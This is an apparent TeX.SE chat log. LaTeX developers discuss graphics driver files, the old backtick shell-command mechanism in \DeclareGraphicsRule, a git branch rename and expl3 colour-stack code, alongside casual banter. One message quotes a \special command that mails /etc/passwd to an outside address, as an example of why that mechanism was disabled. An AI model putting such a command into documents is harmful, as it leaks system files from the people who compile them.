@PhelypeOleinik when @JosephWright and I picked up various stray def files to make the graphics-def collection they both existed and were surprisingly different, gradually we've been pushing them closer together. I think historically one comes from xetex and one ptex
@DavidCarlisle Yeah, the diff is pretty small, so I guess both can't have gunzip anymore. But somehow I'm failing to include a .ps.gz with dvipdfmx.def...
@DavidCarlisle Ah, neither works. xetex.def was working in the latex2e test suite because I don't see the log of dvipdfmx
@DavidCarlisle There's no bug if you don't look at the logs :)
@Dr.ManuelKuehner -- Not a new behavior, but a bit more judgmental than desirable. (My opinion. It does mean that a question can be closed before it has a reasonable chance to be answered.)
@Dr.ManuelKuehner Remember that the Powers have always taken the view that questions should be closed-improved-reopened, rather than the comment-wait-and-see workflow we've always taken
@PhelypeOleinik Nowadays, xdvidpfmx is just dvipdfmx, so the .def files can more or less be merged too, except that XeTeX has a few primitives that help
Unless it's a joke. There is one that I particularly like (it's originally in Icelandic): John of Mire was keen to write a poem, though some would rather call it suffering pain. With ire he would bellow 'I will show'em!' But my dear John it just doesn't do to try every time to shove so many words into the last line!
Good morning, everybody. For quite some time, a PDF made with dvilualatex+dvips+ps2pdf comes out with completely wrong glyphs. Is it just for me like this (TL-2020)? Interestingly, this doesn't happen for a plain TeX document. MWE: \documentclass{article}\begin{document}Hello!\end{document}.
@AlexG you would have to disable all the opentype fonts, e.g. by forcing T1-encoding. But imho this doesn't make much sense. Why do you want to use this?
@PauloCereda Not really: if you do the rename in the github ui any pull requests are automatically translated. (latex2e has a lot more forks than learnlatex, although possibly fewer pull requests)
@PauloCereda they fork works perfectly fine still using master the person with the fork can make changes there, but if you generate a PR (or have an existing PR) it does the right thing afte rthe rename
@PauloCereda but for latex2e I know who has push access and they were all warned by mail earlier in the day that it would happen and mail immediately before it happened with the git incantation to do a local rename. I really think this has a very low impact on anybody.
@Plergux I haven't written a single LaTeX thing in Overleaf before I applied for the job, so don't let that discourage you. After all, trust me that even as a regular user, you would have no idea how complex the product actually is :-)
I started to save my Word documents in the only reliable format I could think of as a rescue-measurement, I screenshot the frozen windows and save the screenshots as PNG...
> Meltwater from Antarctic glaciers is changing the makeup of the region’s oceans more than previously known, a new study finds. The measurements that made these findings possible were collected by an unusual group of researchers: seals.
@PhelypeOleinik ah thanks, on a similar subject do you think there is any user level thing that can be said in grfguide instead of
\emph{command} is usually empty, but if non empty it is used in place
of the filename in the |\special|. Within this argument, |#1| may be
used to denote the filename. Thus using the dvips driver, one may
use\\
|\DeclareGraphicsRule{.ps.gz}{eps}{.ps.bb}{`zcat #1}|
@PhelypeOleinik I was thinking of deleting it all, and the following discussion and just saying "this is usually empty but can be used by back end code for special processing such as accessing epstopdf to include eps files with pdflatex
@PhelypeOleinik I think for most users it's better just to convert externally rather than try to smuggle the conversion in to dvi driver options, especially if doing it from xetex when you don't see the driver at all.
@DavidCarlisle turn it around, you can use If \emph{command} is empty, the filename is used, but if you give a non empty argument, the used code is used instead of the filename in |\special|. Inside of your code you can refer to the filename as |#1|. Thus [...], is, imho, more comprehensible
@Skillmon yes but the problem isn't english wording, it's that the backtick mechanism hasn't worked for decades so you can not actually do any of the things it describes.
@Skillmon some people got very picky and objected to tex documents with \special{`mail trustme@example.com < /etc/passwd}
@PauloCereda was that from before some researchers had a look at the default settings in miktex and found many interesting things. (long fixed by now and TeXLive was not affected as it had better defaults)
@manooooh as a general rule, if you are not sure what someone means when chatting here just assume they are being rude about me. Chances are you will be correct.
@PhelypeOleinik I just flipped through the documentation of gitlab.com/PhelypeOleinik/EoTeX and hat to laugh because of the quotes from David and Ulrike :). Thx for that.
@barbarabeeton The dissertation is in the hands of the committee. All 554 pages of it :p And the water has been dried but many of the rooms need new floors and new furniture :|
@LaTeXereXeTaL ...try to get the order of arguments right... there is one in \pgfmath, that switched x and y around at one point (for the right reason, but...)
@Rmano tell your daughter you just found out the legendary Pokémon Articuno, Zapdos and Moltres had their name suffixes based on numbers in Spanish: ArticUNO, ZapDOS and MolTRES. :)
@PauloCereda I remember that I once killed a wild shiny Raticate before I knew what a shiny was (when I found out later, I was really angry about myself!)
@LaTeXereXeTaL oh, didn't know. As an engineer I just teach my students that it's important to pay attention for a negative real-part, and if they use a range of [-pi/4, 3pi/4] that's fine for me... :)
@DavidCarlisle seems to work for me
(oh wait, that wasn't the correct range, should've been halves, not fourths.... pardon)
@DavidCarlisle yes I know but he asked in the afternoon if "unsupported" sounds better than an error (which it probably does), but there is no need to complicate the code for some nicer message.
@PhelypeOleinik meanwhile I suppose we should do the metapost .1 nonsense: just declare .1 to .9 or do we do a more complicated test to accept .10003 ?
Hmm since the eps bounding box parsing code is reading byte by byte I suppose it could look at the first two bytes and know a list of magic numbers and politely suggest that the input os gzipped or a gif file or whatever...
@PhelypeOleinik one of the first metapost examples I saw was a re-jigged metafont and came out with 256 character files
@PhelypeOleinik no but it does "the standard thing" for graphics if you have a default rule set up..
@PhelypeOleinik if we add a kinder message of eps.gz in xetex then why not one for png in dvips (which is far more common) mabe looking at the first fewbytes woudn't be a bad idea... (but not today:-)
@PhelypeOleinik if you do it as part of teh eps bounding box code (bail out with a better nessage) it should be quite cheap but only apply to back end where that is the default, if you make graphics.sty open the file just for taht check it might be quite slow as file handling slower tha the tex processing usually.
@Ulrike , @JosephWright How can I make use of a colour previously saved in a tl variable in backend format, using \color_select:nn ? The following does not work somehow:
\documentclass[margin=2pt]{standalone}
\usepackage{expl3}
\begin{document}\Huge
\ExplSyntaxOn
\color_export:nnN{blue}{backend}\l_tempa_tl
\exp_after:wN\color_select:nn\l_tempa_tl % has no effect
\ExplSyntaxOff
This shouldn't be black.
\end{document}
@AlexG you shouldn't store in tl_var but in a name:
\documentclass[margin=2pt]{standalone}
\usepackage{expl3}
\begin{document}\Huge
\ExplSyntaxOn
\color_set_eq:nn{blub}{blue}
\color_select:n {blub} % has no effect
\ExplSyntaxOff
This shouldn't be black.
\end{document}
@UlrikeFischer My requirements are different, I want to push and pop colours on a stack, pushing a name doesn't help I want to push the colour expression. So why does \exp_after:wN\color_select:nn\l_tempa_tl not work? Btw, \color_select:nn{rgb}{0 0 1} doesn't work either, the following text comes out in red. Looks like a bug.
@AlexG well it would be easy to add another export function. But I'm still not sure what you are trying to do. Why do you want to store only a part of the color instead of the whole specification?
How do I get the whole specification? And how can I re-instate saved colours later?
@UlrikeFischer It's all about that ocgcolorlinks business. Links may be nested and the link colour (for the viewer) is used at the end of the link text with my method. In case of nested links using diff. colours I need to build a stack with colour specifications in order to get things right at the end.
@UlrikeFischer This is one resort I have pondered about already. But ts is cumbersome, I need to define a counter. Instead I would like to use an l3 seq for the stack.
